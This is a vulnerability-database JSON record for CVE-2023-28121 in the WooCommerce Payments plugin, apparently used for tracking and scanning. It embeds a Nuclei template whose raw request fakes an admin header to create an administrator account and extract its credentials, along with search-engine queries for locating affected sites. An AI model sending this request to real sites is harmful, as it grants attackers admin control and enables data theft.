{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-28121/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-28121/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-28121/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-28121/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-28121/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-28121"},"sightings":{"href":"/api/v1/sightings/cve-2023-28121"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-28121.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-28121\n\ninfo:\n  name: WooCommerce Payments - Unauthorized Admin Access\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.\n  impact: |\n    An attacker can gain unauthorized access to the WooCommerce Payments admin panel, potentially leading to data theft or modification.\n  remediation: |\n    Update to the latest version of the WooCommerce Payments plugin to fix the vulnerability.\n  reference:\n    - https://github.com/gbrsh/CVE-2023-28121\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-28121\n    - https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/\n    - https://woocommerce.com/products/woocommerce-payments/\n    - https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-28121\n    cwe-id: CWE-287\n    epss-score: 0.8651\n    epss-percentile: 0.99733\n    cpe: cpe:2.3:a:automattic:woocommerce_payments:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: automattic\n    product: woocommerce_payments\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/woocommerce-payments\n    fofa-query: body=/wp-content/plugins/woocommerce-payments\n    publicwww-query: /wp-content/plugins/woocommerce-payments\n    google-query: inurl:/wp-content/plugins/woocommerce-payments\n  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,automattic,vkev,vuln\nvariables:\n  username: \"{{rand_base(6)}}\"\n  password: \"{{rand_base(8)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        X-WCPAY-PLATFORM-CHECKOUT-USER: 1\n        Content-Type: application/x-www-form-urlencoded\n\n        rest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"registered_date\":'\n          - '\"username\":'\n          - '\"email\":'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 201\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"WP_USERNAME: \"+ username'\n          - '\"WP_PASSWORD: \"+ password'\n# digest: 490a004630440220535fe48c24b9e26825fccb41cdccd154b7a9ac095e7275c1cc41c461c0893be4022038a8b03347fb15dd1135daf33f1b9567d23c077694942765af29ac3ec08be7b9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-28121"}